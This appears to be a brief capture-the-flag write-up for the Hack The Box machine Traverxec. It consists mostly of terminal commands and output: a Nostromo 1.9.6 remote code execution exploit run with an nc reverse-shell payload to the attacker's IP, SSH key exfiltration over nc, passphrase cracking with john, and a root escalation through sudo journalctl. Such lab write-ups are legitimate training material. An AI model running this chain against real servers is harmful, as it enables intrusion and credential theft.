NOSTROMO EXPLOIT

FILE TRANSFER WITH NC

SSH2JOHN

GTFOBINS JOURNALCTL

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)

| ssh-hostkey:

| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)

| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)

|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)

80/tcp open http nostromo 1.9.6

|_http-server-header: nostromo 1.9.6

|_http-title: TRAVERXEC

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

root@kali:/home/kali/Desktop/hackthebox/traverxec# searchsploit nostromo

root@kali:/home/kali/Desktop/hackthebox/traverxec# searchsploit nostromo

---

Exploit Title | Path

Nostromo - Directory Traversal Remote Command Execution (Metasploit) | multiple/remote/47573.rb

nostromo 1.9.6 - Remote Code Execution | multiple/remote/47837.py

nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution | linux/remote/35466.sh

---

Shellcodes: No Results

root@kali:/home/kali/Desktop/hackthebox/traverxec# cp /usr/share/exploitdb/exploits/multiple/remote/47837.py .

root@kali:/home/kali/Desktop/hackthebox/traverxec# python 47837.py 10.10.10.165 80 'nc -e /bin/sh 10.10.14.17 4444'

root@kali:/home/kali# nc -nlvp 4444

SHELL GAINED!!!

www-data@traverxec:/var/nostromo/conf$ ls

mimes nhttpd.conf

www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf

servername traverxec.htb

serverlisten *

serveradmin david@traverxec.htb

serverroot /var/nostromo

servermimes conf/mimes

docroot /var/nostromo/htdocs

docindex index.html

HOMEDIRS [OPTIONAL]

homedirs /home

homedirs_public public_www

www-data@traverxec:/home/david/public_www/protected-file-area$ ls

backup-ssh-identity-files.tgz

root@kali:/home/kali/Desktop/hackthebox/traverxec# nc -l -p 1234 > backup-ssh-identity-files.tgz

nc -w 3 10.10.14.17 1234 < backup-ssh-identity-files.tgz

root@kali:/home/kali/Desktop/hackthebox/traverxec/home/david/.ssh# /usr/share/john/ssh2john.py id_rsa > david-id_resa

root@kali:/home/kali/Desktop/hackthebox/traverxec/home/david/.ssh# john --wordlist=/usr/share/wordlists/rockyou.txt david-id_resa

hunter (id_rsa)

root@kali:/home/kali/Desktop/hackthebox/traverxec# ssh -i id_rsa david@traverxec.htb

USER SHELL!!!!!!!!

david@traverxec:~/bin$ cat server-stats.sh

#!/bin/bash

```
cat /home/david/bin/server-stats.head

echo "Load: `/usr/bin/uptime`"

echo " "

echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"

echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"

echo " "

echo "Last 5 journal log lines:"

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
```

https://gtfobins.github.io/gtfobins/journalctl/

```
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

!/bin/bash
```

```
root@traverxec:/home/david/bin# id

uid=0(root) gid=0(root) groups=0(root)
```